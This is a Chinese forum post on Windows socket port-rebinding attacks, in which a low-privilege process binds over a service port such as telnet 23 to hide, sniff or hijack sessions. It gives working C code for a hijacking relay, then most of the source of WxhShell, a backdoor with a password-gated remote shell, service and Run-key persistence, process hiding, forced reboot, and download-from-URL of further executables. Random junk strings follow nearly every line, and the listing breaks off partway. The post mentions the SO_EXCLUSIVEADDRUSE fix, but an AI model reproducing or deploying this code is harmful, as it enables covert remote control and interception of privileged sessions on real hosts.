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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: w6 .HvH-@?  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); VPbNLi  
Hua8/:![+  
  saddr.sin_family = AF_INET; rz*Jmn b  
10 ^=1@U  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Af~AE2b3"  
)M~5F,)  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); c,^-nH'X>  
;7hr8?M|  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 2]wh1)  
t!GY>u>`  
  这意味着什么?意味着可以进行如下的攻击: =JkSq J)?  
G1|:b-C  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 %LyB~X  
XJ+sm^`vOf  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) l ki(_ @3  
,D1QJPM  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 W2^R$"U  
<U*d   
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  *h1@eJHMz  
v:'y&yS  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 A@+.[[  
qI}Zg)q]  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 \JchcQ  
e_SlM=_ u  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 _4+1c5Q!  
7VraWW`H'  
  #include #@ G2n@Hj  
  #include O?_'6T  
  #include cQjJ9o7  
  #include    %?seX+ne  
  DWORD WINAPI ClientThread(LPVOID lpParam);   &IPT$=u  
  int main() & CgLF]  
  { 4(NI-|q0  
  WORD wVersionRequested; !jm a --  
  DWORD ret; 9Bn dbS i  
  WSADATA wsaData; Kmtr.]Nj  
  BOOL val; 2mRso.Ah  
  SOCKADDR_IN saddr; <7XdT  
  SOCKADDR_IN scaddr; +_<# 8v  
  int err; *T3"U|0_y  
  SOCKET s; V+Z22  
  SOCKET sc; J0`?g6aY  
  int caddsize; pw,.*N3P  
  HANDLE mt; ^U1;5+2G+~  
  DWORD tid;   ~vgW:]i  
  wVersionRequested = MAKEWORD( 2, 2 ); |R4](  
  err = WSAStartup( wVersionRequested, &wsaData ); l!1bmg#]$  
  if ( err != 0 ) { V:lDR20*\  
  printf("error!WSAStartup failed!\n"); wFe</U-';  
  return -1; wG B'c's*  
  } -Bc.<pFqp  
  saddr.sin_family = AF_INET; Y9Pb  
   (HEjmQjE  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 wZ\0<skU  
Sdn] f4  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ;J4_8N-  
  saddr.sin_port = htons(23); yfU1;MI  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,yC~{ H  
  { :F_U^pyG  
  printf("error!socket failed!\n"); P?I"y,_ p  
  return -1; + 7Z%N9  
  } @8 pRIS"V  
  val = TRUE; =Ij;I~  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Zy<0'k%U  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) </fzBaTo  
  { @? t)UE  
  printf("error!setsockopt failed!\n"); }\9qN!ol  
  return -1; M|\ XFO  
  } -v]7}[ .[  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 4"GY0) Q  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 _H-Lt{k  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 8.vD]hO  
6pH.sX$!_  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) iM\W"OUl[  
  { 1PWDK1GI8  
  ret=GetLastError(); 0s(G*D2%6  
  printf("error!bind failed!\n"); 7,:QFV  
  return -1; T3bBc  
  } 5-MI 7I@l  
  listen(s,2); |d{4_o90  
  while(1) }^=J]  
  { M]oaWQu  
  caddsize = sizeof(scaddr); F&ux9zP  
  //接受连接请求 &Y\`FY\   
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); rUlXx5f  
  if(sc!=INVALID_SOCKET) WzF/wzR  
  { >2%!=q3)  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); R+P1 +5  
  if(mt==NULL) sVGyHA  
  { 9Y0w SOSW  
  printf("Thread Creat Failed!\n"); Qax=_[r  
  break; $~_TE\F1  
  } -2f_e3jF  
  } g$uj<"^  
  CloseHandle(mt); 'v?Z~"w=  
  } <"6 }C)G  
  closesocket(s); 2|m461   
  WSACleanup(); BjSLbw-C  
  return 0; }DoNp[`  
  }   yH irm|o  
  DWORD WINAPI ClientThread(LPVOID lpParam) X"*pt5B6`  
  { :GK]"sNC  
  SOCKET ss = (SOCKET)lpParam; d7A vx  
  SOCKET sc; jruwdm^  
  unsigned char buf[4096]; Nv w'[?m  
  SOCKADDR_IN saddr; /alJN`g  
  long num; ',~,hJ0  
  DWORD val; Db@$'  
  DWORD ret; 8do-z"-  
  //如果是隐藏端口应用的话,可以在此处加一些判断 F8KSB"!NR  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Y$ ZZ0m  
  saddr.sin_family = AF_INET; ("?V|  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); l%L..WCT]  
  saddr.sin_port = htons(23); '_>8_  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 741Sd8  
  { #L ffmS  
  printf("error!socket failed!\n"); FbhF45H  
  return -1; az/NZlJhT  
  } D5^wT>3>  
  val = 100; Dg W*Br8<  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *d b,N'rK  
  { ^\KZE|^3@  
  ret = GetLastError(); o!bV;]  
  return -1; ^zn&"@  
  } _TEjB:9eY  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5o2w)<d!  
  { Yv>kToa\^  
  ret = GetLastError(); u7L&cx  
  return -1; #TS:| =  
  } 9vZ:oO  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Lh\ 1L  
  { db#svj*  
  printf("error!socket connect failed!\n"); pr-=<[ d  
  closesocket(sc); ?h\fwF3  
  closesocket(ss); PUcxlD/a}  
  return -1; lu vrvm  
  } S\io5|P  
  while(1) -?z#  
  { @S9^~W3G3  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 }l"pxp1K  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 sBm)D=Kll  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 z* k(` '  
  num = recv(ss,buf,4096,0); G{CKb{  
  if(num>0) v9*31Jx  
  send(sc,buf,num,0); ]sLdz^E3D  
  else if(num==0) q<[m(]:  
  break; duQ ,6  
  num = recv(sc,buf,4096,0); i/|}#yw8A  
  if(num>0) @k+ K_gR  
  send(ss,buf,num,0); 3LRBH+Tt  
  else if(num==0) z=/&tRe W  
  break;  Z2a~1BL  
  } Ua%;hI)j$  
  closesocket(ss); }i$ER,hXh  
  closesocket(sc); 2:oAS  
  return 0 ; y=!7PB_\|  
  } %\^VxM  
L;h|Sk]{  
fDjJdRS"  
========================================================== 4v.{C"M  
jZr"d*Y  
下边附上一个代码,,WXhSHELL 7?ICXhu9  
UMUG~P&@  
========================================================== TrPw*4h 9s  
WeZ?L|&%w0  
#include "stdafx.h" 2Q=I`H _  
`l2h65\  
#include <stdio.h> >t#5eT`_ w  
#include <string.h> dk/f_m  
#include <windows.h> F1*xY%Jv^M  
#include <winsock2.h> ^ 6b27_=  
#include <winsvc.h> +\-cf,WkI  
#include <urlmon.h> :'2h0 5R  
9+#BU$*v  
#pragma comment (lib, "Ws2_32.lib") :Z%-&) F  
#pragma comment (lib, "urlmon.lib") xL [3R   
mor[AJ  
#define MAX_USER   100 // 最大客户端连接数 p(>D5uN_}5  
#define BUF_SOCK   200 // sock buffer s}qtM.^W  
#define KEY_BUFF   255 // 输入 buffer p~WX\;   
"^Vnnb:Z*o  
#define REBOOT     0   // 重启 &6e A.  
#define SHUTDOWN   1   // 关机 .;F%k,!v  
m$bYx~K  
#define DEF_PORT   5000 // 监听端口 \NTVg6>qN  
6L"b O'_5K  
#define REG_LEN     16   // 注册表键长度 !&},h=  
#define SVC_LEN     80   // NT服务名长度 ;;S9kNp^v  
}Q a  
// 从dll定义API H1c>3c  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;Wgkf_3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); MzMVs3w|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); wEZieHw  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %mAwK<MY`  
bgeJVI  
// wxhshell配置信息 MFn\[J`Ra  
struct WSCFG { "[ieOFI  
  int ws_port;         // 监听端口 M1=eS@  
  char ws_passstr[REG_LEN]; // 口令 {>UT'fa-  
  int ws_autoins;       // 安装标记, 1=yes 0=no 3/y"kl:< -  
  char ws_regname[REG_LEN]; // 注册表键名 :28[k~.bo  
  char ws_svcname[REG_LEN]; // 服务名 f}EsS  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 RK/>5  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 :}-VLp4b  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 rn]F97v@]  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ,]tEh:QC  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;o158H$gz;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [>LO'}%  
&r+!rL Kp  
}; *4/KK  
cx[[K.  
// default Wxhshell configuration i0u`J  
struct WSCFG wscfg={DEF_PORT, RdB,;Um9f  
    "xuhuanlingzhe", fI,2l   
    1, tn;Uaw  
    "Wxhshell", 8=)9ZjfD  
    "Wxhshell", +~EnrrT+W  
            "WxhShell Service", 9a#Y D;-p  
    "Wrsky Windows CmdShell Service", XVF!l>nE  
    "Please Input Your Password: ", 5Y 7 %Z  
  1, m2HO .ljc  
  "http://www.wrsky.com/wxhshell.exe", >>c%I c  
  "Wxhshell.exe" (coaGQ@d  
    }; !yvw5As%  
W/VE B3P>Z  
// 消息定义模块 `#:(F z  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]c1#_MW  
char *msg_ws_prompt="\n\r? for help\n\r#>"; kzVK%[/  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &oE'|^G  
char *msg_ws_ext="\n\rExit."; {11 3B)  
char *msg_ws_end="\n\rQuit.";  ;{Yr|  
char *msg_ws_boot="\n\rReboot..."; /.(~=6o5  
char *msg_ws_poff="\n\rShutdown..."; dt0(04  
char *msg_ws_down="\n\rSave to "; l,5isq ;m  
E5?$=cL?  
char *msg_ws_err="\n\rErr!"; r`$P60,@C  
char *msg_ws_ok="\n\rOK!"; c_t7<  
Wngc(+6O&  
char ExeFile[MAX_PATH]; _q4Yq'dI  
int nUser = 0; Fr-Vq =j&  
HANDLE handles[MAX_USER]; H vHy{S4  
int OsIsNt; ]F"P3':  
 He%v4S  
SERVICE_STATUS       serviceStatus; >3,}^`l  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @YVla !5O@  
( G~ME>  
// 函数声明 _C=01 %/  
int Install(void); _0y]U];ce  
int Uninstall(void); OKAmw >{  
int DownloadFile(char *sURL, SOCKET wsh); 21my9Ui]  
int Boot(int flag); wb%4f6i  
void HideProc(void); Ce~Pms]  
int GetOsVer(void); ZENblh8fs  
int Wxhshell(SOCKET wsl); +Ht(_+To1  
void TalkWithClient(void *cs); _;R#B`9Iu  
int CmdShell(SOCKET sock); TrNh,5+b  
int StartFromService(void); a]J>2A@-I  
int StartWxhshell(LPSTR lpCmdLine); l GJN;G7  
-v:3#9uX)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,kUg"\_k  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,4k3C#!. i  
@vL0gzE?nB  
// 数据结构和表定义 y4VO\N!  
SERVICE_TABLE_ENTRY DispatchTable[] = !hE F.S  
{ $ nMx#~>a  
{wscfg.ws_svcname, NTServiceMain}, 7q:;3;"9  
{NULL, NULL} >}/T&S  
}; ?BbEQr  
);?tGX  
// 自我安装 L3\( <[  
int Install(void) I+`>e*:@W  
{ 1ed^{Wa4$9  
  char svExeFile[MAX_PATH]; {suQ"iv  
  HKEY key; }rnu:7  
  strcpy(svExeFile,ExeFile); p&\DG  
: rudo[L  
// 如果是win9x系统,修改注册表设为自启动 'UTMEN&  
if(!OsIsNt) { b>9?gmR{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7q{yLcC"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dA<SVk*0Q  
  RegCloseKey(key); .J=QWfqt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Bat@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +jS<n13T  
  RegCloseKey(key); '+GY6Ecg  
  return 0; O_ vH w^  
    } WqS$C;]%  
  } rCb$^(w{7  
} (!?%"e  
else { 3HNm`b8G4m  
i~3\dp  
// 如果是NT以上系统,安装为系统服务 brK7|&R<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); b&]z^_m)  
if (schSCManager!=0) GnC s_[*&r  
{ *^XMf  
  SC_HANDLE schService = CreateService e.Jaq^Gw|  
  ( 1/syzHjbY  
  schSCManager, wa!z:}]  
  wscfg.ws_svcname, 9Z"WV5o  
  wscfg.ws_svcdisp, Ft}nG&D  
  SERVICE_ALL_ACCESS, `-Tb=o}.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @:@5BCs<  
  SERVICE_AUTO_START, CYsLyk  
  SERVICE_ERROR_NORMAL, %s;5  
  svExeFile, EpTc{  
  NULL, o5YL_=7m  
  NULL, ||fCY+x*8  
  NULL, >>M7#hmt  
  NULL, xgtx5tg  
  NULL ~S<}q6H.  
  ); _,? xc"  
  if (schService!=0) 5g;mc.Cvt  
  { /g8nT1k  
  CloseServiceHandle(schService); muDOY~.  
  CloseServiceHandle(schSCManager); o)Px d  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); R?dMM  
  strcat(svExeFile,wscfg.ws_svcname); K,+z^{Hvh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { y5?kv-"c  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {DE4PE`  
  RegCloseKey(key); X_)I"`  
  return 0; ) r"7"i  
    } W}|k!_/  
  } Hq&MePl[  
  CloseServiceHandle(schSCManager); :*R+ee,& -  
} A+}O~,mxP8  
} o#D'"Tn!  
l\2"u M#7  
return 1; F>?~4y,b7  
} "*TP@X?@f  
,Ww.W'#P  
// 自我卸载 bIzBY+P  
int Uninstall(void) &'/bnN +R  
{ 1uEM;O  
  HKEY key; DYrci?8Ith  
7f*b5$+r  
if(!OsIsNt) { yNG|YB;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5 o[E8c 8  
  RegDeleteValue(key,wscfg.ws_regname); Zeq^dV5y77  
  RegCloseKey(key); \Hq=_}]F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A'D2uV  
  RegDeleteValue(key,wscfg.ws_regname); ?B`c <H"  
  RegCloseKey(key); .3wx}!:*|  
  return 0; Ci[Ja#p7$h  
  } )EcfEym.>  
} dZddo z_  
}  feM(  
else { 07\]8^/G  
bn=7$Ax  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); f:AfMf>m  
if (schSCManager!=0) X|4Kdi.r@  
{ B->oTC`5  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ]<9o>#3  
  if (schService!=0) kLXa1^Lq  
  { J:IAs:e`  
  if(DeleteService(schService)!=0) { A6xN6{R!  
  CloseServiceHandle(schService); tItI^]w2s  
  CloseServiceHandle(schSCManager); B"`86qc  
  return 0; d6zq,x!cI  
  } %][zn$aa|  
  CloseServiceHandle(schService); ;g?o~ev 8  
  } x4`|[  
  CloseServiceHandle(schSCManager); k`\L-*:Ji  
} +xU=7chA  
} 7c<_j55(  
"y ;0}9]n1  
return 1; jS|jPk|I.  
} ,o0[^-b<  
s -F3(mc(  
// 从指定url下载文件 -AQ 7Bd  
int DownloadFile(char *sURL, SOCKET wsh) M(ie1Ju  
{ G*-7}7OAs  
  HRESULT hr; A>)W6|m|  
char seps[]= "/"; ++!0r['+ >  
char *token; D}2$n?~+  
char *file; <AHdz/N  
char myURL[MAX_PATH]; v5FfxDvw  
char myFILE[MAX_PATH]; mAe)Hy %  
;Wn0-`_1,  
strcpy(myURL,sURL); y+7A?"s)  
  token=strtok(myURL,seps); >QBDxm  
  while(token!=NULL) Zlv`yC*r  
  { yoTx3U@  
    file=token; )X6I #q8  
  token=strtok(NULL,seps); E< pO!P  
  } L f;Uv[^c  
|9)y<}c5oM  
GetCurrentDirectory(MAX_PATH,myFILE); _1jeaV9@  
strcat(myFILE, "\\"); K~qKr<)  
strcat(myFILE, file); w3Dqpo8E  
  send(wsh,myFILE,strlen(myFILE),0); 0{stIgB$  
send(wsh,"...",3,0); g&/r =U  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); V|4k=_-  
  if(hr==S_OK) .G/RQn]x}  
return 0; |KSoS#Y  
else oCKn  
return 1; /f>I;z1  
I=k`VId:  
} R1/mzPG  
zB6&),[,v  
// 系统电源模块 ~S0T+4$  
int Boot(int flag) l i%8X.  
{ \'B%lXh  
  HANDLE hToken; |e2s{J2   
  TOKEN_PRIVILEGES tkp; fh&Q(:ZU  
!6J+#  
  if(OsIsNt) { Enhrkk  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); zbDK$g6  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); q=k[]vD  
    tkp.PrivilegeCount = 1; :eSwXDy&  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; KPa@~rU  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); - ysd`&  
if(flag==REBOOT) { ]/Cu,mX  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2'?C  
  return 0; `yM9XjEl>  
} TEbE-h0)]  
else { hNF,sA  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) sv#/78~|  
  return 0; e?e oy|  
} tSiQr I  
  } ?1H>k<Jp  
  else { jG,^~ 5x  
if(flag==REBOOT) { K` <`l  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) vARZwIu^D  
  return 0; :]`JcJ  
} %z["TVH  
else { eGI&4JgJ.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 'uLYah  
  return 0; px^brzLQo  
} oN(F$Nvk  
} ;!<@Fm9W  
=jvN8R*[  
return 1; ^ ;cJjl'=  
} (9+N_dLx~P  
r6e!";w:U  
// win9x进程隐藏模块 ZRC7j?ui8`  
void HideProc(void) 4Gsq)i17j  
{ S{~j5tQv^q  
lp5 b&I_  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ,fyqa  
  if ( hKernel != NULL ) t=dZM}wj_\  
  { $# b  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _/F}y[B7d  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); liTAV9<  
    FreeLibrary(hKernel); R)9FXz$).  
  } > V@,K z1  
w%kaM=  
return; %&4\'lE  
} Le,+jm  
L%f$ &  
// 获取操作系统版本 `e+eL*rZ~  
int GetOsVer(void) 9`DY6qfly  
{ [Ny'vAHOj  
  OSVERSIONINFO winfo; pEiq;2{~Yn  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +fq;o8q  
  GetVersionEx(&winfo); Y67i\U>?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) jHc/ EZB  
  return 1; oX[I4i%G  
  else (9!kKMQW'  
  return 0; :$oiP  
} s *<T5Z  
h>"Z=y  
// 客户端句柄模块 cP8@'l@!  
int Wxhshell(SOCKET wsl) Ijs=4f  
{ Nv\<>gA:  
  SOCKET wsh; @%#!-wC-5  
  struct sockaddr_in client; yx/qp<=  
  DWORD myID; ^4>Icz^ F  
\J^xpR_0u  
  while(nUser<MAX_USER) V;]U]   
{ G I#TMFz3  
  int nSize=sizeof(client); U,nQnD"!t&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9;EY3[N  
  if(wsh==INVALID_SOCKET) return 1;  SwmX_F#_  
K#plSD^f=  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); +,bgOq\aG  
if(handles[nUser]==0) LP}YH W/  
  closesocket(wsh); 3hNb ?  
else :n(!,  
  nUser++; X]t *  
  } )jN fQ!?/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); edh<L/%D  
'5n=tRx  
  return 0; D{s4Bo-  
} 4(\7Or(''  
?[ vC?P  
// 关闭 socket w3peG^4D_  
void CloseIt(SOCKET wsh) s&qr2'F+z  
{ &bS!>_9  
closesocket(wsh); TWTRMc;z+  
nUser--; R$VeD1n@  
ExitThread(0); }F (lffb  
} +PkN~m`  
\( xQ'AQ-  
// 客户端请求句柄 v7- d+P=  
void TalkWithClient(void *cs) @EcY& mP)  
{ BGVy \F<  
w^QqYUL${  
  SOCKET wsh=(SOCKET)cs; |)u|@\{  
  char pwd[SVC_LEN]; ]ch=D  
  char cmd[KEY_BUFF]; W[j7Vi8v  
char chr[1]; XY`2>7  
int i,j; .Dg'MM BM  
x$tzq+N  
  while (nUser < MAX_USER) { g].hL  
=;A~$[g  
if(wscfg.ws_passstr) { ~b{j`T  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u+uu?.bM  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); auQfWO[ u  
  //ZeroMemory(pwd,KEY_BUFF); vW4N[ .+  
      i=0; \Rvsy;7  
  while(i<SVC_LEN) { f*~z|  
dCM*4B<  
  // 设置超时 F`YxH*tO7  
  fd_set FdRead; Z'z~40Bda  
  struct timeval TimeOut; S~ 3|  
  FD_ZERO(&FdRead); )Z2t=&Nw  
  FD_SET(wsh,&FdRead); <0I=XsE1iX  
  TimeOut.tv_sec=8; t ~"DQq E  
  TimeOut.tv_usec=0; Li\BRlebR{  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1_.#'U>  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); MOW {g\{\  
wH[}@w  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); - dt<w;>W  
  pwd=chr[0]; oJTsrc_ -  
  if(chr[0]==0xd || chr[0]==0xa) { Q CB~x2C  
  pwd=0; ~j2=hkS  
  break; H@WQO]P A  
  } kXbdR  
  i++; 7%4@*  
    } 1 +'HKT}  
bwAL:  
  // 如果是非法用户,关闭 socket & A<Pf.Us  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;F<)BEXC<  
} h8_~ OX  
' ! ls"qo  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #`H^8/!e  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wh;E\^',n  
in6iJ*E@'  
while(1) { L)ry!BuHI  
#FV(a~  
  ZeroMemory(cmd,KEY_BUFF); o<-+y\J8K  
D`^9 u K  
      // 自动支持客户端 telnet标准   ?V&[U  
  j=0; d\ Z#XzI8  
  while(j<KEY_BUFF) { &Wup 7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ZVek`Cc2  
  cmd[j]=chr[0]; dO[w3\~  
  if(chr[0]==0xa || chr[0]==0xd) { lC i_G3C  
  cmd[j]=0; oFRb+H(E  
  break; +iPS=?S  
  } ~ Qt$)  
  j++; ~:srm#IX  
    } "V`MNZ  
{L8(5  
  // 下载文件 vv,(ta@t2  
  if(strstr(cmd,"http://")) { $'Hg}|53  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); D:HeP:.I  
  if(DownloadFile(cmd,wsh)) cNG6 A4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); X7]vXo*  
  else <!vAqqljt  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U q6..<#  
  } n[/|M  
  else { %j=,c{`Q  
7>m#Y'ppl@  
    switch(cmd[0]) { 9bT,=b;  
  U)p P^:|  
  // 帮助 ?Y~>H 2  
  case '?': { "zO+!h'o  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); i4"xvL K4  
    break; FB PT@`~v  
  } a|\_'#  
  // 安装 ~>)GW  
  case 'i': {  iV71t17  
    if(Install()) ;D[b25  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y*6r&989  
    else :LFw J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |C S[>0mV!  
    break; <u"#Jw/VP  
    } yREO;m|o  
  // 卸载 n6nwda  
  case 'r': { c"J(? 1O  
    if(Uninstall()) %;PPu$8K9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W3K"5E0ck  
    else YAZ=-@]`\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~4*9w3t   
    break; q6{%vd  
    } )x"Z$jIs  
  // 显示 wxhshell 所在路径 H2RNekck  
  case 'p': { ,Fg&<Be}Jx  
    char svExeFile[MAX_PATH]; 0r=Lilu{q  
    strcpy(svExeFile,"\n\r"); s/Wg^(&M  
      strcat(svExeFile,ExeFile); r/L3j0  
        send(wsh,svExeFile,strlen(svExeFile),0); DRV vW6s  
    break; v4|kiy  
    } bah5 f  
  // 重启 Pwz^{*u]  
  case 'b': { VPg`vI$(X  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); g m],  
    if(Boot(REBOOT)) 4!6g[[| &J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jt2 m-*aP  
    else { mcDW&jwQ  
    closesocket(wsh); :"O=/p+*Us  
    ExitThread(0); #D+Fq^="P  
    } 6M$.gX G.  
    break; Qq]UEI `Go  
    } v-[|7Pg}Z  
  // 关机 \{+7`4g  
  case 'd': { m$hSL4 N  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); O,JthlAV4  
